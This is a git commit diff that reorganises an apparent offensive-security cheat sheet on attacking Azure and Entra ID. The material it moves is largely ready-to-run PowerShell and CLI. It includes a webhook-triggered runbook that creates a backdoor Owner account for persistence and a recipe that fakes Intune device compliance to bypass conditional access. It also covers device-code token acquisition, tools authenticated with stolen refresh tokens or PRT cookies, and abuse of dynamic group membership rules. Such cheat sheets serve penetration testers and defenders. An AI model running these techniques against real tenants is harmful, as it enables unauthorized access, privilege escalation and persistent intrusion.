Azure Runbook + Dynamic Membership
parent
ce9e94fe47
commit
8a796c3e8e
|
@ -3,11 +3,6 @@
|
|||
## Summary
|
||||
|
||||
* [Azure Recon Tools](#azure-recon-tools)
|
||||
* [Authenticating to the Microsoft Graph API in PowerShell](#authenticating-to-the-microsoft-graph-api-in-powershell)
|
||||
* [Graph API Refresh Token](#graph-api-refresh-token)
|
||||
* [Graph API Access Token](#graph-api-access-token)
|
||||
* [Terminology](#terminology)
|
||||
* [Training](#training)
|
||||
* [Enumeration](#enumeration)
|
||||
* [Enumerate valid emails](#enumerate-valid-emails)
|
||||
* [Enumerate Azure Subdomains](#enumerate-azure-subdomains)
|
||||
|
@ -31,19 +26,14 @@
|
|||
* [Enumerate blobs](#enumerate-blobs)
|
||||
* [SAS URL](#sas-url)
|
||||
* [List and download blobs](#list-and-download-blobs)
|
||||
* [Runbook Automation](#runbook-automation)
|
||||
* [Create a Runbook](#create-a-runbook)
|
||||
* [Persistence via Automation accounts](#persistence-via-automation-accounts)
|
||||
* [Virtual Machine RunCommand](#virtual-machine-runcommand)
|
||||
* [KeyVault Secrets](#keyvault-secrets)
|
||||
* [Pass The Certificate](#pass--the-certificate)
|
||||
* [Pass The PRT](#pass-the-prt)
|
||||
* [Intunes Administration](#intunes-administration)
|
||||
* [Dynamic Group Membership](#dynamic-group-membership)
|
||||
* [Administrative Unit](#administrative-unit)
|
||||
* [Deployment Template](#deployment-template)
|
||||
* [Application Proxy](#application-proxy)
|
||||
* [Conditional Access](#conditional-access)
|
||||
* [Azure AD](#azure-ad)
|
||||
* [Azure AD vs Active Directory](#azure-ad-vs-active-directory)
|
||||
* [Password Spray](#password-spray)
|
||||
|
@ -207,73 +197,6 @@
|
|||
```
|
||||
* [**dafthack/GraphRunner**](https://github.com/dafthack/GraphRunner) - A Post-exploitation Toolset for Interacting with the Microsoft Graph API
|
||||
|
||||
## Authenticating to the Microsoft Graph API in PowerShell
|
||||
|
||||
* [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in)
|
||||
|
||||
| Name | GUID |
|
||||
|----------------------------|--------------------------------------|
|
||||
| Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 |
|
||||
| Microsoft Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 |
|
||||
| Portail Azure | c44b4083-3bb0-49c1-b47d-974e53cbdf3c |
|
||||
|
||||
|
||||
### Graph API Refresh Token
|
||||
|
||||
Authenticating to the Microsoft Graph API in PowerShell
|
||||
|
||||
```ps1
|
||||
$body = @{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"resource" = "https://graph.microsoft.com" # Microsoft Graph API
|
||||
}
|
||||
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
||||
$Headers=@{}
|
||||
$Headers["User-Agent"] = $UserAgent
|
||||
$authResponse = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$authResponse
|
||||
```
|
||||
|
||||
### Graph API Access Token
|
||||
|
||||
This request require getting the Refresh Token.
|
||||
|
||||
```ps1
|
||||
$body=@{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
||||
"code" = $authResponse.device_code
|
||||
}
|
||||
$Tokens = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$Tokens
|
||||
```
|
||||
|
||||
|
||||
|
||||
## Terminology
|
||||
|
||||
> Basic Azure AD terminologies
|
||||
|
||||
* **Tenant**: An instance of Azure AD and represents a single organization.
|
||||
* **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.
|
||||
* **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory.
|
||||
* **Core Domain**: The initial domain name <tenant>.onmicrosoft.com is the core domain. It is possible to define custom domain names too.
|
||||
|
||||
|
||||
## Training
|
||||
|
||||
* AzureGoat : A Damn Vulnerable Azure Infrastructure - https://github.com/ine-labs/AzureGoat
|
||||
|
||||
|
||||
## Enumeration
|
||||
|
||||
|
@ -663,58 +586,6 @@ PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -Resou
|
|||
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
|
||||
```
|
||||
|
||||
## Runbook Automation
|
||||
|
||||
### Create a Runbook
|
||||
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
az ad signed-in-user list-owned-objects
|
||||
|
||||
# If the user is not part of an "Automation" group.
|
||||
# Add him to a custom group , e.g: "Automation Admins"
|
||||
Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose
|
||||
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
|
||||
# Create a Powershell Runbook
|
||||
PS C:\Tools> Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
|
||||
|
||||
# Publish the Runbook
|
||||
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
|
||||
# Start the Runbook
|
||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
|
||||
### Persistence via Automation accounts
|
||||
|
||||
* Create a new Automation Account
|
||||
* "Create Azure Run As account": Yes
|
||||
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
|
||||
* Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst
|
||||
* Publish the runbook
|
||||
* Add a webhook to the runbook
|
||||
* Add the AzureAD module to the Automation account
|
||||
* Update the Azure Automation Modules
|
||||
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
|
||||
* Eventually lose your access…
|
||||
* Trigger the webhook with a post request to create the new user
|
||||
```powershell
|
||||
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
|
||||
|
||||
## Virtual Machine RunCommand
|
||||
|
||||
Requirements:
|
||||
|
@ -854,21 +725,6 @@ Requirements:
|
|||
:warning: It will take up to one hour before you script is executed !
|
||||
|
||||
|
||||
|
||||
## Dynamic Group Membership
|
||||
|
||||
Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}`
|
||||
|
||||
Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")`
|
||||
Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group
|
||||
|
||||
1. Open user's profile, click on **Manage**
|
||||
2. Click on **Resend** invite and to get an invitation URL
|
||||
3. Set the secondary email
|
||||
```powershell
|
||||
PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -Verbose
|
||||
```
|
||||
|
||||
## Administrative Unit
|
||||
|
||||
> Administrative Unit can reset password of another user
|
||||
|
@ -912,25 +768,6 @@ PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayN
|
|||
PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage
|
||||
```
|
||||
|
||||
## Conditional Access
|
||||
|
||||
* Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc)
|
||||
* Bypassing conditional access by faking device compliance
|
||||
```powershell
|
||||
# AAD Internals - Making your device compliant
|
||||
# Get an access token for AAD join and save to cache
|
||||
Get-AADIntAccessTokenForAADJoin -SaveToCache
|
||||
# Join the device to Azure AD
|
||||
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"
|
||||
# Marking device compliant - option 1: Registering device to Intune
|
||||
# Get an access token for Intune MDM and save to cache (prompts for credentials)
|
||||
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
|
||||
# Join the device to Intune
|
||||
Join-AADIntDeviceToIntune -DeviceName "SixByFour"
|
||||
# Start the call back
|
||||
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"
|
||||
```
|
||||
|
||||
|
||||
## Azure AD
|
||||
|
||||
|
|
|
@ -156,6 +156,61 @@ Use the user account to create a computer and request a PRT
|
|||
* Request a PRT with MFA claim: `roadtx prt -r <refreshtoken> -c <device>.pem -k <device>.key`
|
||||
|
||||
|
||||
|
||||
|
||||
## Authenticate to the Microsoft Graph API in PowerShell
|
||||
|
||||
* [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in)
|
||||
|
||||
| Name | GUID |
|
||||
|----------------------------|--------------------------------------|
|
||||
| Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 |
|
||||
| Microsoft Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 |
|
||||
| Portail Azure | c44b4083-3bb0-49c1-b47d-974e53cbdf3c |
|
||||
|
||||
|
||||
### Graph API Refresh Token
|
||||
|
||||
Authenticating to the Microsoft Graph API in PowerShell
|
||||
|
||||
```ps1
|
||||
$body = @{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"resource" = "https://graph.microsoft.com" # Microsoft Graph API
|
||||
}
|
||||
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
||||
$Headers=@{}
|
||||
$Headers["User-Agent"] = $UserAgent
|
||||
$authResponse = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$authResponse
|
||||
```
|
||||
|
||||
|
||||
### Graph API Access Token
|
||||
|
||||
This request require getting the Refresh Token.
|
||||
|
||||
```ps1
|
||||
$body=@{
|
||||
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
||||
"code" = $authResponse.device_code
|
||||
}
|
||||
$Tokens = Invoke-RestMethod `
|
||||
-UseBasicParsing `
|
||||
-Method Post `
|
||||
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
||||
-Headers $Headers `
|
||||
-Body $body
|
||||
$Tokens
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Hacking Your Cloud: Tokens Edition 2.0 - Edwin David - April 13, 2023](https://trustedsec.com/blog/hacking-your-cloud-tokens-edition-2-0)
|
||||
|
|
|
@ -0,0 +1,12 @@
|
|||
# Microsoft Entra Connect
|
||||
|
||||
## Password Hash Synchronization
|
||||
|
||||
## Pass-Through Authentication
|
||||
|
||||
## Federation
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Introduction to Microsoft Entra Connect V2 - Microsoft](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-azure-ad-connect-v2)
|
|
@ -20,6 +20,19 @@
|
|||
New-MgGroupMember -GroupId $groupid -DirectoryObjectid $targetmember
|
||||
```
|
||||
|
||||
### Dynamic Group Membership
|
||||
|
||||
Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}`
|
||||
|
||||
Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")`
|
||||
Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group
|
||||
|
||||
1. Open user's profile, click on **Manage**
|
||||
2. Click on **Resend** invite and to get an invitation URL
|
||||
3. Set the secondary email
|
||||
```powershell
|
||||
PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -Verbose
|
||||
```
|
||||
|
||||
## Devices
|
||||
|
||||
|
|
|
@ -14,11 +14,12 @@ Invoke-AADIntReconAsOutsider -UserName "user@company.com" | Format-Table
|
|||
* roadrecon
|
||||
```ps1
|
||||
roadrecon auth --access-token eyJ0eXA...
|
||||
roadrecon auth --prt-cookie <primary-refresh-token> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"
|
||||
roadrecon gather
|
||||
```
|
||||
* AzureHound
|
||||
```ps1
|
||||
./azurehound -r REFRESH_TOKEN list --tenant domain.local -o output.json
|
||||
./azurehound --refresh-token <refresh-token> list --tenant "<target-tenant-id>" -o output.json
|
||||
```
|
||||
|
||||
|
||||
|
@ -34,13 +35,30 @@ Conditional Access is used to restrict access to resources to compliant devices
|
|||
| Platform requirement | User-Agent switcher (Android, PS4, Linux, ...) |
|
||||
| Protocol requirement | Use another protocol (e.g for e-mail acccess: POP, IMAP, SMTP) |
|
||||
| Azure AD Joined Device | Try to join a VM (Work Access)|
|
||||
| Compliant Device (Intune) | Fake device compliance |
|
||||
| Device requirement | / |
|
||||
| MFA | / |
|
||||
| Legacy Protocols | / |
|
||||
| Compliant Device (Intune) | / |
|
||||
| Domain Joined | / |
|
||||
|
||||
|
||||
Bypassing conditional access by faking device compliance
|
||||
|
||||
```powershell
|
||||
# AAD Internals - Making your device compliant
|
||||
# Get an access token for AAD join and save to cache
|
||||
Get-AADIntAccessTokenForAADJoin -SaveToCache
|
||||
# Join the device to Azure AD
|
||||
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"
|
||||
# Marking device compliant - option 1: Registering device to Intune
|
||||
# Get an access token for Intune MDM and save to cache (prompts for credentials)
|
||||
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
|
||||
# Join the device to Intune
|
||||
Join-AADIntDeviceToIntune -DeviceName "SixByFour"
|
||||
# Start the call back
|
||||
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"
|
||||
```
|
||||
|
||||
## Azure AD - MFA
|
||||
|
||||
* [dafthack/MFASweep](https://github.com/dafthack/MFASweep) - A tool for checking if MFA is enabled on multiple Microsoft Services
|
||||
|
|
|
@ -0,0 +1,28 @@
|
|||
# Azure Requirements
|
||||
|
||||
## Pentest Requirements
|
||||
|
||||
* **Global Reader** and **Security Reader** roles in Azure AD
|
||||
* **Reader** permission over the subscription
|
||||
|
||||
|
||||
## Powershell and Native Modules
|
||||
|
||||
* [Microsoft Graph](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation?view=graph-powershell-1.0): `Install-Module Microsoft.Graph -Scope CurrentUser`
|
||||
* [Azure AD](https://learn.microsoft.com/fr-fr/powershell/azure/active-directory/install-adv2?view=azureadps-2.0): `Install-Module AzureAD`
|
||||
* [Azure AD Preview](https://learn.microsoft.com/fr-fr/powershell/azure/active-directory/install-adv2?view=azureadps-2.0): `Install-Module AzureADPreview`
|
||||
* [Azure CLI](https://learn.microsoft.com/fr-fr/cli/azure/install-azure-cli-windows?tabs=winget): `winget install -e --id Microsoft.AzureCLI`
|
||||
|
||||
|
||||
## Terminology
|
||||
|
||||
* **Tenant**: An instance of Azure AD and represents a single organization.
|
||||
* **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.
|
||||
* **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory.
|
||||
* **Core Domain**: The initial domain name <tenant>.onmicrosoft.com is the core domain. It is possible to define custom domain names too.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Az - Permissions for a Pentest - HackTricks](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-permissions-for-a-pentest)
|
|
@ -2,7 +2,43 @@
|
|||
|
||||
## Azure Runbook
|
||||
|
||||
Runbook must be SAVED and PUBLISHED before running it.
|
||||
Runbook must be **SAVED** and **PUBLISHED** before running it.
|
||||
|
||||
### Create a Runbook
|
||||
|
||||
* Check user right for automation
|
||||
```powershell
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
az ad signed-in-user list-owned-objects
|
||||
```
|
||||
* Add the user to the "Automation" group: `Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose`
|
||||
* Get the role of a user on the Automation account: `Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>`. NOTE: Contributor or higher privileges accounts can create and execute Runbooks
|
||||
* List hybrid workers: `Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>`
|
||||
* Create a Powershell Runbook: `Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose`
|
||||
* Publish the Runbook: `Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
|
||||
* Start the Runbook: `Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
|
||||
|
||||
|
||||
### Persistence via Automation accounts
|
||||
|
||||
* Create a new Automation Account
|
||||
* "Create Azure Run As account": Yes
|
||||
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
|
||||
* Sample runbook https://github.com/NetSPI/MicroBurst
|
||||
* Publish the runbook
|
||||
* Add a webhook to the runbook
|
||||
* Add the AzureAD module to the Automation account
|
||||
* Update the Azure Automation Modules
|
||||
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
|
||||
* Trigger the webhook with a post request to create the new user
|
||||
|
||||
```powershell
|
||||
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
|
||||
|
||||
## Azure Service Principal
|
||||
|
|
Loading…
Reference in New Issue